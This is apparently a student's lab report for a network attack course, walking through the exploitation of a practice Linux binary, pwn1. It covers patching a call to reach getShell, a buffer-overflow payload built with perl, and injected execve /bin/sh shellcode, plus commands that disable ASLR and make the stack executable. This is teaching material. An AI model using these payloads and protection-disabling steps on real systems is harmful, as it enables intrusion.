2019-2020-2 20175113完瑞《网络对抗技术》Exp1 PC平台逆向破解
Exp1 PC平台逆向破解 20175113完瑞
一、实践目标
1.实验背景
实践对象是pwn1的Linux可执行文件,该程序的正常该程序正常执行流程是:main调用foo函数(foo函数会简单回显任何用户输入的字符串)该程序还包含一个getShell代码片段,会返回一个可用Shell。但是在正常情况下这个代码是不会被运行的。
2.实验内容
(1)手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
(2)利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
(3)注入一个自己制作的shellcode并运行这段shellcode。
3.要求掌握
(1)掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
- NOP:0x90
- JNE:0x75
- JE:0x74
- Jump:
- Short Jump(短跳转):0xEB
- Near Jump(长跳转):0xE9
- Far Jump(远跳转):0xEA
- CMP:0x39
(2)掌握反汇编与十六进制编程器
- 反汇编指令 objdump -d (文件名)| more
- objdump -d : 将代码段反汇编
- -d 英文全称是disassembling,意为反汇编
- | 管道符,命令A|命令B,即命令A的正确输出作为命令B的操作对象
- more使文件以一页一页的形式显示,,更方便使用者逐页阅读
- 十六进制编辑器
- 进入vim编辑器后按esc后输入 %!xxd 将显示模式切换为16进制
- 编辑完成后按esc后输入 %!xxd -r 将转换为原格式
(3)能正确修改机器指令改变程序执行流程
(4)能正确构造payload进行bof攻击
二、实验步骤
1. 实验一
(1)实验要求
修改可执行文件,改变程序执行流程,直接跳转到getShell函数
(2)具体步骤
预备知识:了解Call指令为跳转指令,EIP寄存器用于存放返回地址,反汇编指令为 objdump.
① 反汇编
- 首先将准备好的pwn1文件备份为20175113pwn。
- 接着开始反汇编文件,指令 objdump -d 20175113pwn | more 即可浏览反汇编后的文件,输入 /getShell 即可跳转到 getShell 这一行
- 我们可以看到三列分别是每条指令所在的内存地址,指令的机器码和机器码对应的汇编指令。
- 这里可以看到,main函数第4行(内存地址80484b5)跳转到了foo函数(内存地址8048491),接下来的实验中用到的getShell函数的内存地址为804847d。
- 机器指令e8即为跳转,后面的数值d7ffffff是补码,80484ba +d7ffffff= 8048491。
- 下一步我们要对可执行文件进行修改,令其在main函数中第4条指令跳转到getShell函数,而不是foo函数。
804847d-80484ba=c3ffffff
- 所以接下来我们要做的就是修改可执行文件中“d7ffffff”为c3ffffff。
② 修改机器指令
- 用vim指令 vi 20175113pwn 编辑20175113pwn文件
- 输入指令 :%!xxd 用16进制查看文件内容
- 输入/e8 d7 快捷定位修改位置
- 按下回车保持定位,接着按 i 进入编辑模式将d7替换为c3
- 输入指令:%!xxd -r 将文件转为原格式
- 输入:wq 保存退出
③ 验证结果
- 反汇编修改后的文件20175113pwn,此时main函数第4行跳转的是 getShell 函数
- 分别执行pwn1和20175113pwn
修改前的文件 pwn1执行后是 foo函数(回显作用),
修改后的文件20175113pwn执行后出现 Shell提示符,可执行命令,证明调用了 getShell 函数,即成功修改了机器指令。
2. 实验二
(1)实验要求
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
(2)具体步骤
预备知识:BOF攻击的相关知识 该攻击是因为向缓冲区中填入过多的数据,而超出边界导致数据外溢,覆盖了相邻的内存空间。可以利用缓冲区溢出改写数据、改变程序执行流程干扰系统运行,破坏系统完全性,任意执行恶意代码。 函数调用过程有三个步骤,分别为: prologue:保存当前的栈基址(ebp) call:调用参数和返回地址(eip)压栈,跳转到函数入口 return:恢复调用者原有栈 本实验利用的是foo函数的BOF漏洞,在执行foo函数时构造一个超出buff大小的字符串将堆栈中的返回地址构造成我们需要的地址即可实现出发getshell函数。
① 反汇编
- 首先我们将pwn1文件重新备份为20175113pwn
- 接着对20175113pwn反汇编
- 观察到:
- getShell函数地址:0804847d
- 读入字符串只预留了28字节的缓冲区,超出部分会造成溢出
- main函数第4行 call 调用 foo,同时在堆栈上压上返回地址值:80484ba
②调试判断字符串溢出覆盖返回地址
- 如果没有安装调试功能gdb,输入 apt-get install gdb 安装
- 输入 gdb 20175113pwn 调试
- 输入 r 输入内容,确定输入多少字符串会覆盖返回地址,首先输入111111112222222333333334444444455555555共40个字符
- 随后可以发现终端显示这样一段字符
Segmentation fault
,出现了错误0x35353535 in ?? ()
表示该地址并不存在,- 我们可以使用 info r 命令查看当前寄存器状态中,发现EIP寄存器(用于存放下一条指令的内存地址的寄存器)被 0x35353535 的字段覆盖掉了,这就表示了当前返回地址是四个‘5’,而EBP被0x34343434字段覆盖掉了,因此说明缓冲区大小为28字节。
- 我们还可以可以使用
x/16x
,输入相应的地址来查看其具体内容从而找到其缓冲区的真正大小,我们可以通过对<foo>函数地址的计算可以得出缓冲区总共的大小(0x80484ae-0x8048491=0x0000001c)1c转化为十进制即为28,也就是我们需要构造一个buff长度为28+4=32位
- 我们填入的是刚才查找的shellcode的起始地址
0x080484d7,
由于本虚拟机为小端优先所以我们将最后四位构造成\xd7\x84\x04\x08
即可实现
③构造输入字符串
- 借助Perl语言将字符串 11111111222222223333333344444444\x7d\x84\x04\x08\x0a 定向输入到input文件
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
- 可通过 xxd input 查看input文件内容
- (cat input; cat) | ./20175113pwn 将input文件内容输入程序20175113pwn
- 观察到覆盖成功,执行getShell函数
3.实验三
(1)实验要求
注入一个自己制作的shellcode并运行这段shellcode。
(2)具体步骤
预备知识:BOF攻击共有两种模型分别为NSR溢出模型,RNS溢出模型。其中NSR溢出模型,nop,shellcode,ret;RNS溢出模型,ret,nop,shellcode。
①关闭地址随机化
- 先安装可以使用设置堆栈的命令 apt-get install prelink
execstack -s 20175113pwn //设置堆栈可执行 execstack -q 20175113pwn //查询文件的堆栈是否可执行 more /proc/sys/kernel/randomize_va_space //查看内存地址随机化的参数 echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space
②构造payload
- Linux下有两种基本构造攻击buf的方法:因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。
- retaddr+nop+shellcode
- nop+shellcode+retaddr
- 以下使用 anything+retaddr+nops+shellcode 方法构造
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
- 在终端1️⃣中输入 (cat input_shellcode;cat) | ./20175113pwn
- 再开启一个终端2️⃣调试
- ps -ef | grep 20175113pwn 查看程序进程
- 输入 gdb 调试,接着输入 attach 1454 调试1454这个进程
- 输入 disassemble foo 对 foo 函数进行反汇编
- break *0x080484ae 设置断点
- 回到终端1️⃣手动回车一下,接着回到终端2️⃣继续调试
- 输入指令 c
- 输入指令info r esp 查看栈顶指针所在位置
- 输入指令 x/16x 0xffffd6cc 查看地址存放的数据
- 观察到\x4\x3\x2\x1出现栈顶,即返回地址的位置
- shellcode地址即为 0xffffd6cc+4=0xffffd6d0
- 修改注入文本,将地址加进去
perl -e 'print "A" x 32;print "\xd0\xd6\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
- (cat input_shellcode;cat) | ./20175113pwn 注入
- 如上图所示,注入成功。
三、实验收获与感想
这次实验是一次全新的体验,因为之前并没有学习过与Linux相关的课程,实验步骤基本参考老师课视频的步骤。在学习了课程视频,我理清思路,进行实验,中间遇到的问题大多参考同学的博客和网上解答,也和小组成员分享了实验知识,感到收获良多。在实验过程中,我初步掌握了一些汇编指令,学会了利用十六进制编辑文件和使用perl语言,结合C语言、数据结构和信安技术对缓冲区溢出了有了更为深刻的理解。希望在接下来的实验中能学到更多!
四、什么是漏洞?漏洞有什么危害?
我认为漏洞是系统中的缺陷,人为设计的系统免不了有漏洞。
攻击者可以通过漏洞进行攻击达到不可告人的目的,例如窥视隐私、盗取财富。小到个人,大到国家,都会受到漏洞的影响。